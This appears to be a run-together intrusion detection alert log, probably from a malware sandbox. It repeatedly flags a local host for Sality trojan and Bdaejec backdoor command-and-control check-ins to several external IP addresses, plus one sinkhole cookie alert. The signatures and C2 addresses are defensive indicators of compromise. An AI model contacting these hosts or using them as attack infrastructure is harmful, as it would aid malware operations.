                                                          07/05/24-08:00:19.844628TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24972380192.168.2.778.46.2.155
                                                          07/05/24-08:03:21.400592TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24995680192.168.2.744.221.84.105
                                                          07/05/24-08:02:50.416771TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24991680192.168.2.778.46.2.155
                                                          07/05/24-08:02:33.091948TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24989280192.168.2.778.46.2.155
                                                          07/05/24-08:04:04.234554TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 25001380192.168.2.737.230.104.89
                                                          07/05/24-08:03:00.017380TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24992980192.168.2.737.230.104.89
                                                          07/05/24-08:01:42.706476TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24982980192.168.2.754.244.188.177
                                                          07/05/24-08:01:38.796774TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24982480192.168.2.754.244.188.177
                                                          07/05/24-08:01:54.772822TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24984380192.168.2.744.221.84.105
                                                          07/05/24-08:02:09.146982TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24986180192.168.2.744.221.84.105
                                                          07/05/24-08:02:19.041265TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24987480192.168.2.778.46.2.155
                                                          07/05/24-08:03:13.906899TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24994780192.168.2.737.230.104.89
                                                          07/05/24-08:03:04.025577TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24993480192.168.2.778.46.2.155
                                                          07/05/24-08:03:17.476356TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24995180192.168.2.744.221.84.105
                                                          07/05/24-08:01:15.863341TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24979680192.168.2.744.221.84.105
                                                          07/05/24-08:00:09.628662TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24970980192.168.2.744.221.84.105
                                                          07/05/24-08:01:02.693866TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24977880192.168.2.744.221.84.105
                                                          07/05/24-08:01:12.784586TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24979280192.168.2.737.230.104.89
                                                          07/05/24-08:02:28.927797TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24988780192.168.2.737.230.104.89
                                                          07/05/24-08:03:35.469085TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24997480192.168.2.744.221.84.105
                                                          07/05/24-08:00:29.744544TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24973780192.168.2.744.221.84.105
                                                          07/05/24-08:00:43.250923TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24975680192.168.2.778.46.2.155
                                                          07/05/24-08:03:03.167474TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24993380192.168.2.744.221.84.105
                                                          07/05/24-08:03:17.979106TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24995280192.168.2.778.46.2.155
                                                          07/05/24-08:02:14.843930TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24986980192.168.2.737.230.104.89
                                                          07/05/24-08:01:27.862972TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24981080192.168.2.744.221.84.105
                                                          07/05/24-08:00:57.518019TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24977380192.168.2.744.221.84.105
                                                          07/05/24-08:04:11.191840TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 25002180192.168.2.754.244.188.177
                                                          07/05/24-08:03:48.219903TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24999280192.168.2.744.221.84.105
                                                          07/05/24-08:00:12.165636TCP2807908ETPRO TROJAN Backdoor.Win32/Bdaejec.A Checkin49712799192.168.2.744.221.84.105
                                                          07/05/24-08:01:31.891538TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24981580192.168.2.744.221.84.105
                                                          07/05/24-08:03:56.946740TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 25000380192.168.2.754.244.188.177
                                                          07/05/24-08:02:41.619770TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24990380192.168.2.744.221.84.105
                                                          07/05/24-08:01:50.101971TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24983880192.168.2.778.46.2.155
                                                          07/05/24-08:02:12.978610TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24986680192.168.2.744.221.84.105
                                                          07/05/24-08:01:33.772934TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24981880192.168.2.737.230.104.89
                                                          07/05/24-08:02:35.491760TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24989580192.168.2.754.244.188.177
                                                          07/05/24-08:03:50.018422TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24999580192.168.2.737.230.104.89
                                                          07/05/24-08:02:12.232206TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24986580192.168.2.754.244.188.177
                                                          07/05/24-08:03:28.544037TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24996580192.168.2.737.230.104.89
                                                          07/05/24-08:01:23.145856TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24980480192.168.2.754.244.188.177
                                                          07/05/24-08:00:53.141197TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24976780192.168.2.754.244.188.177
                                                          07/05/24-08:02:36.313053TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24989680192.168.2.744.221.84.105
                                                          07/05/24-08:01:55.275240TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24984480192.168.2.778.46.2.155
                                                          07/05/24-08:02:07.294107TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24985980192.168.2.754.244.188.177
                                                          07/05/24-08:04:07.491473TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 25001780192.168.2.744.221.84.105
                                                          07/05/24-08:01:08.703238TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24978780192.168.2.737.230.104.89
                                                          07/05/24-08:03:23.433566TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24995980192.168.2.737.230.104.89
                                                          07/05/24-08:00:50.075882TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24976480192.168.2.778.46.2.155
                                                          07/05/24-08:01:35.623129TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24982080192.168.2.744.221.84.105
                                                          07/05/24-08:00:11.526434TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24971180192.168.2.737.230.104.89
                                                          07/05/24-08:02:44.381931TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24990780192.168.2.754.244.188.177
                                                          07/05/24-08:04:02.396103TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 25001080192.168.2.744.221.84.105
                                                          07/05/24-08:03:34.696045TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24997380192.168.2.754.244.188.177
                                                          07/05/24-08:00:37.809563TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24974780192.168.2.744.221.84.105
                                                          07/05/24-08:00:42.744667TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24975380192.168.2.744.221.84.105
                                                          07/05/24-08:03:57.680694TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 25000480192.168.2.744.221.84.105
                                                          07/05/24-08:00:15.997396TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24971880192.168.2.737.230.104.89
                                                          07/05/24-08:03:30.500718TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24996780192.168.2.754.244.188.177
                                                          07/05/24-08:01:30.031744TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24981380192.168.2.737.230.104.89
                                                          07/05/24-08:01:44.814571TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24983180192.168.2.744.221.84.105
                                                          07/05/24-08:00:33.868366TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24974280192.168.2.744.221.84.105
                                                          07/05/24-08:03:44.546203TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24998780192.168.2.744.221.84.105
                                                          07/05/24-08:00:26.520518TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24973380192.168.2.744.221.84.105
                                                          07/05/24-08:02:53.564881TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24992080192.168.2.744.221.84.105
                                                          07/05/24-08:02:57.137619TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24992580192.168.2.754.244.188.177
                                                          07/05/24-08:03:26.326136TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24996280192.168.2.744.221.84.105
                                                          07/05/24-08:02:45.125963TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24990880192.168.2.744.221.84.105
                                                          07/05/24-08:00:33.112705TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24974180192.168.2.754.244.188.177
                                                          07/05/24-08:01:06.978087TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24978480192.168.2.744.221.84.105
                                                          07/05/24-08:02:19.869268TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24987580192.168.2.737.230.104.89
                                                          07/05/24-08:02:22.912317TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24987980192.168.2.744.221.84.105
                                                          07/05/24-08:03:13.226230TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24994680192.168.2.778.46.2.155
                                                          07/05/24-08:03:08.671726TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24994080192.168.2.778.46.2.155
                                                          07/05/24-08:00:34.404177TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24974380192.168.2.744.221.84.105
                                                          07/05/24-08:02:28.197539TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24988680192.168.2.778.46.2.155
                                                          07/05/24-08:02:32.583766TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24989180192.168.2.744.221.84.105
                                                          07/05/24-08:03:31.271862TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24996880192.168.2.744.221.84.105
                                                          07/05/24-08:00:46.513761TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24976180192.168.2.744.221.84.105
                                                          07/05/24-08:02:18.500630TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24987380192.168.2.744.221.84.105
                                                          07/05/24-08:01:17.393634TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24979780192.168.2.778.46.2.155
                                                          07/05/24-08:00:24.811845TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24972880192.168.2.754.244.188.177
                                                          07/05/24-08:03:31.825176TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24996980192.168.2.744.221.84.105
                                                          07/05/24-08:03:39.679715TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24998080192.168.2.744.221.84.105
                                                          07/05/24-08:01:41.509392TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24982880192.168.2.737.230.104.89
                                                          07/05/24-08:02:59.321219TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24992880192.168.2.778.46.2.155
                                                          07/05/24-08:02:58.781917TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24992780192.168.2.744.221.84.105
                                                          07/05/24-08:02:05.624703TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24985780192.168.2.737.230.104.89
                                                          07/05/24-08:00:14.219187TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24971580192.168.2.744.221.84.105
                                                          07/05/24-08:02:51.117172TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24991780192.168.2.737.230.104.89
                                                          07/05/24-08:03:40.218084TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24998180192.168.2.744.221.84.105
                                                          07/05/24-08:02:46.934915TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24991180192.168.2.737.230.104.89
                                                          07/05/24-08:01:14.587567TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24979480192.168.2.754.244.188.177
                                                          07/05/24-08:00:58.039779TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24977480192.168.2.744.221.84.105
                                                          07/05/24-08:00:53.871516TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24976880192.168.2.744.221.84.105
                                                          07/05/24-08:02:08.093379TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24986080192.168.2.744.221.84.105
                                                          07/05/24-08:03:41.444039TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24998380192.168.2.737.230.104.89
                                                          07/05/24-08:02:26.243759TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24988380192.168.2.754.244.188.177
                                                          07/05/24-08:02:21.588982TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24987780192.168.2.754.244.188.177
                                                          07/05/24-08:02:03.711587TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24985480192.168.2.744.221.84.105
                                                          07/05/24-08:03:37.304934TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24997780192.168.2.737.230.104.89
                                                          07/05/24-08:02:49.873814TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24991580192.168.2.744.221.84.105
                                                          07/05/24-08:01:09.822245TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24978880192.168.2.754.244.188.177
                                                          07/05/24-08:01:45.329234TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24983280192.168.2.778.46.2.155
                                                          07/05/24-08:01:40.301379TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24982680192.168.2.744.221.84.105
                                                          07/05/24-08:02:45.630618TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24990980192.168.2.744.221.84.105
                                                          07/05/24-08:01:58.427630TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24984880192.168.2.744.221.84.105
                                                          07/05/24-08:01:21.965532TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24980380192.168.2.737.230.104.89
                                                          07/05/24-08:02:54.077723TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24992180192.168.2.744.221.84.105
                                                          07/05/24-08:04:11.938903TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 25002280192.168.2.744.221.84.105
                                                          07/05/24-08:00:56.765688TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24977280192.168.2.754.244.188.177
                                                          07/05/24-08:02:52.760739TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24991980192.168.2.754.244.188.177
                                                          07/05/24-08:01:24.899269TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24980780192.168.2.778.46.2.155
                                                          07/05/24-08:01:20.049748TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24980080192.168.2.744.221.84.105
                                                          07/05/24-08:00:42.205901TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24975280192.168.2.744.221.84.105
                                                          07/05/24-08:03:38.921284TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24997980192.168.2.754.244.188.177
                                                          07/05/24-08:03:54.596306TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 25000080192.168.2.778.46.2.155
                                                          07/05/24-08:02:41.078765TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24990280192.168.2.744.221.84.105
                                                          07/05/24-08:03:43.040911TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24998580192.168.2.754.244.188.177
                                                          07/05/24-08:01:31.140756TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24981480192.168.2.754.244.188.177
                                                          07/05/24-08:03:47.448502TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24999180192.168.2.754.244.188.177
                                                          07/05/24-08:04:07.014014TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 25001680192.168.2.744.221.84.105
                                                          07/05/24-08:03:48.742596TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24999380192.168.2.744.221.84.105
                                                          07/05/24-08:03:02.421879TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24993280192.168.2.744.221.84.105
                                                          07/05/24-08:00:07.985689TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24970780192.168.2.754.244.188.177
                                                          07/05/24-08:00:59.023279TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24977580192.168.2.778.46.2.155
                                                          07/05/24-08:01:59.595777TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24984980192.168.2.744.221.84.105
                                                          07/05/24-08:01:32.413888TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24981680192.168.2.744.221.84.105
                                                          07/05/24-08:02:49.333237TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24991480192.168.2.744.221.84.105
                                                          07/05/24-08:01:40.799274TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24982780192.168.2.778.46.2.155
                                                          07/05/24-08:03:01.645270TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24993180192.168.2.754.244.188.177
                                                          07/05/24-08:02:46.143358TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24991080192.168.2.778.46.2.155
                                                          07/05/24-08:00:31.994022TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24974080192.168.2.737.230.104.89
                                                          07/05/24-08:01:18.210602TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24979880192.168.2.737.230.104.89
                                                          07/05/24-08:01:29.365473TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24981280192.168.2.778.46.2.155
                                                          07/05/24-08:03:16.700449TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24995080192.168.2.744.221.84.105
                                                          07/05/24-08:02:48.584173TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24991380192.168.2.754.244.188.177
                                                          07/05/24-08:03:09.582231TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24994180192.168.2.737.230.104.89
                                                          07/05/24-08:02:27.612763TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24988580192.168.2.744.221.84.105
                                                          07/05/24-08:01:11.088316TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24979080192.168.2.744.221.84.105
                                                          07/05/24-08:00:54.943437TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24977080192.168.2.778.46.2.155
                                                          07/05/24-08:02:24.597688TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24988180192.168.2.737.230.104.89
                                                          07/05/24-08:01:36.822076TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24982280192.168.2.778.46.2.155
                                                          07/05/24-08:00:35.746332TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24974580192.168.2.737.230.104.89
                                                          07/05/24-08:02:13.522685TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24986780192.168.2.744.221.84.105
                                                          07/05/24-08:01:53.003632TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24984180192.168.2.754.244.188.177
                                                          07/05/24-08:00:31.304905TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24973980192.168.2.778.46.2.155
                                                          07/05/24-08:00:18.614533TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24972180192.168.2.744.221.84.105
                                                          07/05/24-08:03:52.875081TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24999880192.168.2.744.221.84.105
                                                          07/05/24-08:04:08.737626TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 25001980192.168.2.737.230.104.89
                                                          07/05/24-08:00:08.773435TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24970880192.168.2.744.221.84.105
                                                          07/05/24-08:03:35.965126TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24997580192.168.2.744.221.84.105
                                                          07/05/24-08:01:03.707606TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24977980192.168.2.744.221.84.105
                                                          07/05/24-08:02:37.506165TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24989880192.168.2.778.46.2.155
                                                          07/05/24-08:02:55.345528TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24992380192.168.2.737.230.104.89
                                                          07/05/24-08:03:08.090379TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24993980192.168.2.744.221.84.105
                                                          07/05/24-08:02:10.613211TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24986380192.168.2.737.230.104.89
                                                          07/05/24-08:00:10.129320TCP2037771ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst804970944.221.84.105192.168.2.7
                                                          07/05/24-08:01:56.077593TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24984580192.168.2.737.230.104.89
                                                          07/05/24-08:02:42.808063TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24990580192.168.2.737.230.104.89
                                                          07/05/24-08:03:21.929385TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24995780192.168.2.744.221.84.105
                                                          07/05/24-08:03:36.504685TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24997680192.168.2.778.46.2.155
                                                          07/05/24-08:03:22.467645TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24995880192.168.2.778.46.2.155
                                                          07/05/24-08:00:27.800233TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24973580192.168.2.737.230.104.89
                                                          07/05/24-08:03:45.125470TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24998880192.168.2.778.46.2.155
                                                          07/05/24-08:02:30.794906TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24988980192.168.2.754.244.188.177
                                                          07/05/24-08:00:27.068264TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24973480192.168.2.778.46.2.155
                                                          07/05/24-08:00:16.197642TCP2807908ETPRO TROJAN Backdoor.Win32/Bdaejec.A Checkin49719799192.168.2.744.221.84.105
                                                          07/05/24-08:03:45.826893TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24998980192.168.2.737.230.104.89
                                                          07/05/24-08:03:49.292201TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24999480192.168.2.778.46.2.155
                                                          07/05/24-08:01:04.301554TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24978080192.168.2.778.46.2.155
                                                          07/05/24-08:01:32.950973TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24981780192.168.2.778.46.2.155
                                                          07/05/24-08:02:17.963369TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24987280192.168.2.744.221.84.105
                                                          07/05/24-08:04:12.497729TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 25002380192.168.2.744.221.84.105
                                                          07/05/24-08:02:00.092504TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24985080192.168.2.778.46.2.155
                                                          07/05/24-08:00:38.997095TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24974980192.168.2.778.46.2.155
                                                          07/05/24-08:03:33.087688TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24997180192.168.2.737.230.104.89
                                                          07/05/24-08:02:17.182096TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24987180192.168.2.754.244.188.177
                                                          07/05/24-08:00:54.393388TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24976980192.168.2.744.221.84.105
                                                          07/05/24-08:03:52.117935TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24999780192.168.2.754.244.188.177
                                                          07/05/24-08:01:53.745329TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24984280192.168.2.744.221.84.105
                                                          07/05/24-08:04:03.554852TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 25001280192.168.2.778.46.2.155
                                                          07/05/24-08:01:24.393679TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24980680192.168.2.744.221.84.105
                                                          07/05/24-08:01:49.026282TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24983680192.168.2.744.221.84.105
                                                          07/05/24-08:03:58.713788TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 25000680192.168.2.778.46.2.155
                                                          07/05/24-08:01:20.674195TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24980180192.168.2.744.221.84.105
                                                          07/05/24-08:00:50.934804TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24976580192.168.2.737.230.104.89
                                                          07/05/24-08:00:55.629338TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24977180192.168.2.737.230.104.89
                                                          07/05/24-08:00:21.708136TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24972480192.168.2.737.230.104.89
                                                          07/05/24-08:03:25.038288TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24996180192.168.2.754.244.188.177
                                                          07/05/24-08:00:59.743814TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24977680192.168.2.737.230.104.89
                                                          07/05/24-08:04:08.019459TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 25001880192.168.2.778.46.2.155
                                                          07/05/24-08:03:11.351826TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24994380192.168.2.754.244.188.177
                                                          07/05/24-08:00:45.977388TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24976080192.168.2.744.221.84.105
                                                          07/05/24-08:02:04.345788TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24985580192.168.2.744.221.84.105
                                                          07/05/24-08:02:42.127754TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24990480192.168.2.778.46.2.155
                                                          07/05/24-08:03:12.148410TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24994480192.168.2.744.221.84.105
                                                          07/05/24-08:01:11.619212TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24979180192.168.2.778.46.2.155
                                                          07/05/24-08:00:38.413717TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24974880192.168.2.744.221.84.105
                                                          07/05/24-08:02:54.615908TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24992280192.168.2.778.46.2.155
                                                          07/05/24-08:02:57.901258TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24992680192.168.2.744.221.84.105
                                                          07/05/24-08:03:55.324330TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 25000180192.168.2.737.230.104.89
                                                          07/05/24-08:00:15.277686TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24971780192.168.2.778.46.2.155
                                                          07/05/24-08:01:19.304636TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24979980192.168.2.754.244.188.177
                                                          07/05/24-08:02:23.576150TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24988080192.168.2.778.46.2.155
                                                          07/05/24-08:02:38.608727TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24989980192.168.2.737.230.104.89
                                                          07/05/24-08:01:49.601686TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24983780192.168.2.744.221.84.105
                                                          07/05/24-08:00:36.943363TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24974680192.168.2.754.244.188.177
                                                          07/05/24-08:03:12.700775TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24994580192.168.2.744.221.84.105
                                                          07/05/24-08:01:27.088178TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24980980192.168.2.754.244.188.177
                                                          07/05/24-08:00:43.976891TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24975780192.168.2.737.230.104.89
                                                          07/05/24-08:01:48.267375TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24983580192.168.2.754.244.188.177
                                                          07/05/24-08:00:34.940616TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24974480192.168.2.778.46.2.155
                                                          07/05/24-08:01:36.258057TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24982180192.168.2.744.221.84.105
                                                          07/05/24-08:01:37.575304TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24982380192.168.2.737.230.104.89
                                                          07/05/24-08:02:14.135112TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24986880192.168.2.778.46.2.155
                                                          07/05/24-08:02:40.295808TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24990180192.168.2.754.244.188.177
                                                          07/05/24-08:00:30.268121TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24973880192.168.2.744.221.84.105
                                                          07/05/24-08:03:18.688790TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24995380192.168.2.737.230.104.89
                                                          07/05/24-08:02:33.861375TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24989380192.168.2.737.230.104.89
                                                          07/05/24-08:03:59.407716TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 25000780192.168.2.737.230.104.89
                                                          07/05/24-08:03:04.734060TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24993580192.168.2.737.230.104.89
                                                          07/05/24-08:02:00.871301TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24985180192.168.2.737.230.104.89
                                                          07/05/24-08:03:27.799167TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24996480192.168.2.778.46.2.155
                                                          07/05/24-08:00:40.931335TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24975180192.168.2.754.244.188.177
                                                          07/05/24-08:01:07.510235TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24978580192.168.2.744.221.84.105
